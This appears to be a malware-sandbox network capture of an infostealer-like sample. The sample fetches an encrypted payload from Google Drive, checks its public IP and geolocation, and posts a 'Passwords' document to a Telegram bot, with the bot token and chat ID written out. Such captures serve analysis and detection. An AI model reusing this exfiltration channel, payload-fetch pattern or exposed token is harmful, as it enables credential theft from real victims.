Jan 10, 2025 20:10:57.265990019 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:57 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	50005	132.226.8.169	80	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:10:58.427280903 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:10:59.518470049 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:59 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	50007	132.226.8.169	80	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:11:00.661761045 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:11:03.670681000 CET	682	IN	HTTP/1.1 502 Bad Gateway Date: Fri, 10 Jan 2025 19:11:03 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.8	50008	132.226.8.169	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:11:06.075757980 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:11:06.892231941 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:11:06 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49710	172.217.23.110	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:10:02 UTC	216	OUT	GET /uc?export=download&id=1x9DSfok3BU85kiqweJ7pgJp2Rx3of5t2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-10 19:10:03 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 19:10:02 GMT Location: https://drive.usercontent.google.com/download?id=1x9DSfok3BU85kiqweJ7pgJp2Rx3of5t2&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-4qYnUnYQgvYddxp81Bq1VQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49711	142.250.181.225	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:10:04 UTC	258	OUT	GET /download?id=1x9DSfok3BU85kiqweJ7pgJp2Rx3of5t2&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-10 19:10:07 UTC	4940	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFIdbgTjot4XUDjrr0p-tm6DcKnIZ2LffT6iK_vCvrFx-paIrQ68NuNltjXz8Xh-FgW4bRlVtMk7NB8 Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="JYcPBDjQvr201.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Mon, 16 Dec 2024 03:25:08 GMT Date: Fri, 10 Jan 2025 19:10:07 GMT Expires: Fri, 10 Jan 2025 19:10:07 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=vxptNA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-10 19:10:07 UTC	4940	IN	Data Raw: 1b ce 21 0c df 5e 70 74 32 c2 99 23 ee 6a b9 80 dd 13 f9 13 bd 68 84 d9 7b d4 90 ab d9 cd 3c 43 2c 45 b3 c9 25 be ff a2 a6 19 2b 2e 35 7c af 81 d4 fc 9a ab a3 b1 90 0a ab 24 00 20 5f f6 ea 17 6e 84 1c 1a 8f 12 c4 c1 b0 2a 01 ba 87 2e df 7b e7 f0 56 6f 17 f6 8e bc b2 78 12 f4 14 51 cb 32 c6 07 cd 1d 0e a4 34 63 31 a9 fc 14 d1 99 f1 fd 34 68 7e c8 19 e2 ac 22 d8 6e 8e 0f 0d 18 fb 74 53 17 59 cc d1 74 82 72 73 1c dc fd 8a e7 3f 8f 06 ba 87 e6 e6 71 49 25 7a 56 13 69 b1 53 91 78 f1 58 10 15 66 6c f8 55 e5 92 93 25 d8 00 5a a3 1f 03 79 4d e4 43 dd d0 93 28 ae 48 80 19 d1 bd 8e e7 8e fe 98 df c6 9f c5 2a 54 18 68 23 04 e6 ab 2c fb b6 43 a9 b7 e5 22 c0 d1 28 a0 2c 82 e4 e0 f1 bc 16 b4 2f 2a 4d 47 87 63 df e6 cf a9 1f 85 95 d8 ef 00 5b f1 dc 2f a0 c0 3f 15 7b a7 Data Ascii: !^pt2#jh{<C,E%+.5\|$ _n.{VoxQ24c14h~"ntSYtrs?qI%zViSxXflU%ZyMC(HTh#,C"(,/*MGc[/?{
2025-01-10 19:10:07 UTC	4819	IN	Data Raw: 69 fa 75 ac a3 e9 fa b2 7e 1e e2 b1 7f 37 71 e5 4e 26 a1 a8 b6 e9 b4 62 23 6b 98 79 a8 56 bd a8 c5 d7 38 64 99 0c a9 60 aa a8 11 d4 d3 c4 85 37 80 be 3e b0 f4 40 87 4a 03 2f 82 05 b9 23 b9 0e f2 3b 13 64 92 67 c7 22 ef 21 a2 6a cc b5 de 7b 0f 9f 4e 36 00 33 0e f0 72 03 6b 20 83 c5 ca ba 22 37 d0 58 d3 5c ef 55 56 d0 07 14 f6 c9 a7 23 d5 d0 39 b4 2b bc 63 fc 4f 3b 6e 37 8f f4 e8 09 d0 ed d7 2d 93 1f 05 38 23 6b 51 9a 69 66 75 15 bf d7 db 0f 95 63 7c 29 1b c1 76 09 75 c6 29 72 5d 62 e7 0a 9f 22 94 22 d0 c0 aa 94 cc 3f 58 0b 7f 38 fa e7 14 e3 65 be e2 da 0c 54 0c bd e6 78 fe 70 85 54 30 6e 41 4c 90 55 5f 82 08 9a 69 31 21 5a 17 de 86 cd 79 42 fd fc ea 5b 4d 38 e3 52 78 5e d8 32 70 00 64 d0 1c 95 ea a8 6c 85 9a 7a 56 4d 28 28 11 d3 9e 38 b3 fd fe 59 77 8e 3b Data Ascii: iu~7qN&b#kyV8d`7>@J/#;dg"!j{N63rk "7X\UV#9+cO;n7-8#kQifuc\|)vu)r]b""?X8eTxpT0nALU_i1!ZyB[M8Rx^2pdlzVM((8Yw;
2025-01-10 19:10:07 UTC	1322	IN	Data Raw: 36 c8 64 66 1a a6 77 f8 61 57 6f 1c 65 9b 96 dc ba d3 7d 8d 17 b1 6f bb 1b e0 13 c2 96 f0 28 c4 13 17 c9 f6 94 2f 70 3a 0f db 21 63 e9 03 92 6a ea 18 20 35 c7 0f c9 4f bb 5c 9b 02 3d f6 7f 69 f3 2b 13 eb 31 d8 81 b1 bc 53 54 a1 c4 aa df a9 c6 f5 46 a1 f7 68 34 3f f0 31 95 ed 9a ec 5e fc 99 d7 9a 9d f9 30 d2 23 50 9d 86 cf 0e ab 36 d8 88 07 e7 1b 8a 6c 32 03 1a 59 04 70 6a d9 88 ce 6d 84 b8 b9 85 30 77 d4 34 18 4d 4f 95 6e 87 72 57 03 3b 85 76 a8 4b 0a 56 e2 83 c5 12 5a 74 ee 91 44 53 e6 c9 db 18 e5 63 d5 7d dd dd 45 cf b5 b6 18 64 1e 01 fc 2f 7f ca a3 a7 c3 77 6a b5 70 5d 41 72 a3 f2 4a 80 a2 8c 33 de 87 2b 6e 68 14 d2 ba c2 15 df 73 35 39 31 9c c3 6e 21 4b c2 a9 36 7b e6 4f e5 5b 28 ef ca 37 e2 e6 dc 6e a4 86 93 6f a4 f5 5a fa bf 38 ff f9 34 a6 bf d3 b2 Data Ascii: 6dfwaWoe}o(/p:!cj 5O\=i+1STFh4?1^0#P6l2Ypjm0w4MOnrW;vKVZtDSc}Ed/wjp]ArJ3+nhs591n!K6{O[(7noZ84
2025-01-10 19:10:07 UTC	1390	IN	Data Raw: b5 85 58 68 d4 2b 68 c0 19 9e c8 ee 0a d2 0a 84 1b 39 92 80 a7 23 30 88 0b 13 65 bc da f0 5b 52 4d ef 2c c1 89 1a 75 94 8a 31 60 b9 87 3a ca bf 48 4c d1 96 d8 82 d9 a1 4d f9 0c b1 ae cc cd 5e a8 54 70 66 c2 ce fc d2 b6 80 9e 0c f6 89 ed d6 23 c5 a8 29 cf 69 16 56 73 70 31 c7 f6 a0 b1 e9 f5 06 f0 03 ef fc d8 38 90 f7 8b d0 a4 f6 d7 03 df 6c fe 73 07 9e 3b 09 c8 f8 f1 ff 3b 51 3e b9 5e 11 21 36 ee 4c 11 9e af 81 93 1c fb a9 5f 83 c8 44 36 6a 45 07 e2 03 12 1f 36 71 1b c7 cf 10 4c cb ee cf 0c 1b b5 25 26 7f 5b 8c ce bb 13 08 aa d9 01 e0 c5 ca 33 7b 7a 59 41 18 49 d4 39 f3 f3 20 55 e1 53 a2 2e cb b1 e8 10 62 73 e1 2a 4f f9 26 73 7d 47 34 a0 52 1a 8c 18 b6 2c a2 2a 71 d5 a7 d1 df 71 fd d5 4e 11 c9 f6 8e b6 80 9c 05 f4 64 3e 14 32 c6 0d 6f 38 17 da ea 63 31 a3 Data Ascii: Xh+h9#0e[RM,u1`:HLM^Tpf#)iVsp18ls;;Q>^!6L_D6jE6qL%&[3{zYAI9 US.bsO&s}G4R,qqNd>2o8c1
2025-01-10 19:10:07 UTC	1390	IN	Data Raw: a6 31 d4 78 9d 02 b5 f1 f9 74 5d 19 ef d3 dc 5a 98 b1 43 aa ae 5f 47 c6 61 f4 60 d8 a9 87 9a 6c 7e 4d 1b 4b 5c e1 d0 3d f5 00 53 17 9d 70 46 14 9e 2b d4 f5 8f 51 86 4f 79 ab 3c 6c 1d 22 d9 5f c1 cb ae 5b 5e 48 80 13 c2 af cf b0 e1 0f d4 de cf 28 61 03 30 ba 7f f9 13 30 26 75 fb b6 a2 ba a1 f2 3a d4 f3 ca a5 4a f3 f7 f6 e8 ae 07 a0 39 3b 5e f6 f0 62 df ec c9 b8 0b 93 a4 f9 3f 00 5b b1 22 2e 93 d7 2e 02 6a be fb a9 33 39 11 ab 0a d1 6c fb c3 fb 68 f8 23 9f 24 8d 7e 46 bb ce dc 5c 15 1b cd ed 47 e0 02 3e bf f3 30 f9 70 16 67 50 6b 64 0e b8 a4 69 2a 81 91 6f 65 b3 b2 fe 0e a4 de 32 5e a7 43 eb e1 69 83 3b 59 37 5c 09 9e cb 0e 4e 4d 5b e6 b5 3a b3 5b d3 93 b1 17 a9 a6 9c 0d 21 fe 8f eb 86 f8 34 15 66 ba 06 cc a8 28 79 0c d2 e2 fd ff 50 b1 a1 d4 70 d1 60 0d 7d Data Ascii: 1xt]ZC_Ga`l~MK\=SpF+QOy<l"_[^H(a00&u:J9;^b?["..j39lh#$~F\G>0pgPkdi*oe2^Ci;Y7\NM[:[!4f(yPp`}
2025-01-10 19:10:07 UTC	1390	IN	Data Raw: d3 fe 6a c2 c3 5b e6 57 c9 eb 16 ec 82 18 58 24 db cb 65 4a cc 64 65 3c 3d 07 ca 13 59 ef bb 19 1b ac a8 82 d3 0c 8d e0 08 b4 75 77 a4 4a a5 10 8b f3 64 17 09 ae 8a 1c 59 aa 6d d2 4e 33 c4 60 ee 6c a5 aa d9 31 ba f0 77 8d 49 9d 2c 7b 95 59 3a 2e a8 b6 e9 b3 34 cb 6b 98 77 a8 26 bd a8 c5 c4 e0 79 9f 6a 79 67 a3 cd 03 dc f8 8d 94 e3 31 d3 1b 98 cd 68 bd 40 10 21 91 24 fa 2a cd 99 2f 2c 10 77 98 76 cd 4d 6c 39 a2 60 db cc 99 7b 1c e3 49 12 ad 2a 1f f0 0b 03 6a 33 8c c3 a0 7c 39 36 da 37 d3 2e 63 5f 7e b0 14 12 ed c3 d9 3d d5 c1 35 a8 26 bc 63 fc 33 b8 7f 3a a8 44 27 18 ae 6a a2 3c 99 61 25 14 2e 7e 36 7f 78 66 7f 14 c1 d0 f3 9e 9f 63 aa 53 e5 a3 6d a3 4a 2a 3e a4 d6 54 da 0a 9e 3b bb 6d cb d1 a7 ed 56 b1 31 1a a5 01 9a 95 10 ee 65 ce 8d c0 18 42 20 28 74 73 Data Ascii: j[WX$eJde<=YuwJdYmN3`l1wI,{Y:.4kw&yjyg1h@!$/,wvMl9`{Ij3\|967.c_~=5&c3:D'j<a%.~6xfcSmJ*>T;mV1eB (ts
2025-01-10 19:10:07 UTC	1390	IN	Data Raw: 08 a0 7b 31 20 45 54 4e 86 b1 72 51 fa de ec 34 c9 38 fc 44 41 81 b7 a4 7a 72 4e cd 62 c5 c2 e6 68 f6 07 70 56 41 13 d8 6f c8 94 33 b0 b6 24 53 77 fe 2b aa 66 fd 1c ac 98 c5 34 8e 47 67 ad 19 a8 40 79 af 98 a5 01 45 86 d8 90 9d 70 56 f3 84 b6 9f 0a 5c ba 05 8f 0e cd a5 c7 cb 68 c6 21 4a 07 f2 19 90 d2 5c fb 18 af 94 c2 ea ed d3 03 f0 7e 3a 7f 5d 56 16 b2 f9 e8 36 c0 44 a5 ca 2d 1a a0 60 d5 a1 52 47 85 18 d1 90 cf b6 c7 63 a3 2f fd 47 b8 1e e2 62 e6 92 f1 2c e6 ae 12 c8 fc 9e 05 e1 b4 66 a0 7f 6a f8 0e 84 96 90 46 2a 24 c9 31 e6 4e a8 5d f7 45 11 e0 53 c3 f3 01 19 fa 34 a4 ee b3 bc c3 45 a8 ec 1b df a9 d1 e6 41 da b1 68 1f 1b 8e 4a 3f ed 90 ce 02 ed 9e af 0c 87 ea 44 ac f2 7c 90 82 db 17 ab 36 d6 88 68 e7 1b 86 7f 37 03 09 26 3c 92 6f dd 86 8b 45 05 b2 91 Data Ascii: {1 ETNrQ48DAzrNbhpVAo3$Sw+f4Gg@yEpV\h!J\~:]V6D-`RGc/Gb,fjF*$1N]ES4EAhJ?D\|6h7&<oE
2025-01-10 19:10:07 UTC	1390	IN	Data Raw: 50 69 74 ad e5 ac 63 df 45 ea 98 cd 3e 19 70 bd da 45 53 e8 d8 8c 19 e5 63 92 2c dc dd 45 eb 29 a5 1e 73 0b 24 e0 24 10 7c a2 b4 cd 4e b3 a3 8e 56 52 79 b2 fb 1d da 8a 26 37 a0 de 3a 6b 0d 63 86 ba c8 0e db 52 b3 3e 20 9d fc 66 23 30 8e 82 16 7f e6 36 e5 5b 28 e7 db 30 ba 7a c0 75 e4 e3 46 45 a5 f3 35 80 bf 38 e4 d1 8a d8 82 d5 a1 4c 87 12 b5 dc 2a d9 5a f0 0c 58 e7 c8 4e f9 c4 48 87 8f 1b 86 43 35 d6 53 d9 93 ad de 6c 31 d1 53 7c 7c d6 04 a7 b1 c5 b8 00 12 3d ef fc d3 1d 5a 85 46 c6 a4 86 5f 27 d8 65 5c 54 1f f1 17 66 5f 88 5c da 22 40 3a 00 4b 01 53 3a f8 4c 61 10 8a 9a 93 19 2a 55 43 f1 ec 6f 2c 97 d8 2f 42 02 37 03 57 b6 70 c8 bf b2 6d cd 91 01 57 1b c5 8d 83 68 29 8e dc bb 63 bb 88 d7 a5 ed d4 db 44 c8 70 73 b2 e2 ac a6 a8 f3 2d 31 55 df 1e 7c 2e c1 Data Ascii: PitcE>pESc,E)s$$\|NVRy&7:kcR> f#06[(0zuFE58LZXNHC5Sl1S\|\|=ZF_'e\Tf_\"@:KS:LaUCo,/B7WpmWh)cDps-1U\|.
2025-01-10 19:10:07 UTC	1390	IN	Data Raw: 74 dd dd 9d 1f fe f0 c1 c1 c4 3c 29 3b 78 d1 d5 6d a1 f3 09 7c 1b e7 82 90 bf 65 9f cb 14 51 ca 17 d0 75 2b 09 0e d4 96 46 26 a0 5e 31 c9 eb dd e8 34 18 dc ed 00 f3 a8 80 fd 74 fc 49 98 18 8b d6 78 13 f2 c7 73 e5 97 cd 99 86 dd c1 e5 ee cb e7 6f c3 b4 9b ea 11 2e 57 1f 2a 3e 22 9e 3d ff 1d 05 77 72 70 42 1e 8d 2a c2 ec 2b 16 9b 5e 0e 92 74 52 fd d6 35 b1 d0 da 69 38 8b 60 b3 19 d1 b7 cd ac 8e d6 86 de c5 95 ac 10 21 83 29 3f 04 e6 ab 2c fb b6 b0 a9 b5 e4 7e c0 81 28 ca 4b 83 e4 f0 f9 bc 16 f0 2f 2a 4c 82 32 66 df 9a ee a9 1f b6 35 d9 fe 00 44 ad f4 f7 80 c0 35 67 4a 84 ea c0 37 71 07 b8 18 db 47 f8 eb 14 7b e0 29 85 30 a3 e2 54 a1 d8 c9 34 fa 2d cf eb 4b f9 64 75 b8 62 5f b6 93 01 76 42 5c 77 f0 74 db 46 22 87 5f 6d 78 34 be c4 c8 b2 c9 cc 5f 84 53 fa 80 Data Ascii: t<);xm\|eQu+F&^14tIxso.W>"=wrpB+^tR5i8`!)?,~(K/*L2f5D5gJ7qG{)0T4-Kdub_vB\wtF"_mx4_S
2025-01-10 19:10:07 UTC	1390	IN	Data Raw: 44 f0 8e 76 a2 4f c8 56 20 3f 47 e7 80 07 32 e1 9e f5 94 f4 1c d0 66 ed 0d e4 e6 42 78 06 c1 e4 8f 1d 55 f5 d1 c7 51 db 46 7b ff 81 c2 9b f6 16 2f 82 f3 4b b7 14 3f 27 fa 7d c2 9a c7 c3 41 b3 e8 58 ea a8 12 52 3f ed e5 9d 58 cd 6e 6e 0a 04 41 da 13 5b 9b 00 d5 1b dc 86 c0 db 7e dd f7 1e 49 43 a5 a4 4b af 31 ab 64 b7 17 03 be 63 c7 47 a5 68 c4 58 0e ff 68 fa 7f a9 bb e6 9e d2 ec 77 fd 54 aa 37 7b e3 4a 41 c6 af c4 9d a8 1c 41 04 4d 7d 80 db ae ac c7 c6 e1 1a 05 19 85 17 cc 12 10 d4 d5 dd 80 fa 5b 85 88 98 c7 46 94 48 01 23 ae 6e ed 0b ba 05 2f 26 7e 60 93 67 cd 4d 94 38 a2 60 e0 53 88 70 09 fc 51 0f 88 27 f0 fb 77 f7 7b 39 90 2a ce 90 32 27 db 74 c5 07 c9 55 56 d0 05 17 88 90 d9 3d df c1 34 ef 33 bc 63 f0 33 b0 6e 37 85 df d9 0f 97 c8 d7 2d 93 69 35 3f 51 Data Ascii: DvOV ?G2fBxUQF{/K?'}AXR?XnnA[~ICK1dcGhXhwT7{JAAM}[FH#n/&~`gM8`SpQ'w{9*2'tUV=43c3n7-i5?Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49747	104.21.96.1	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:10:17 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-10 19:10:17 UTC	855	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:17 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1851006 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ss7ehuJpqTElw3QyeCzBbUZZL8uQXxhYTP7TpOl9gh48c2i4atxDwsNqEu%2B6d3JgZFDJz5TdEfD3smsJ9FhIVB%2B%2B4K9X7xQeLhojTnEwsKHX6dGNpp25DxdMSbhGtC5h8a1xEtax"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffef760dd9ac32e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1572&min_rtt=1567&rtt_var=599&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1809169&cwnd=178&unsent_bytes=0&cid=ad4ee7f807c5db75&ts=164&x=0"
2025-01-10 19:10:17 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49775	149.154.167.220	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:10:25 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd318086900029 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
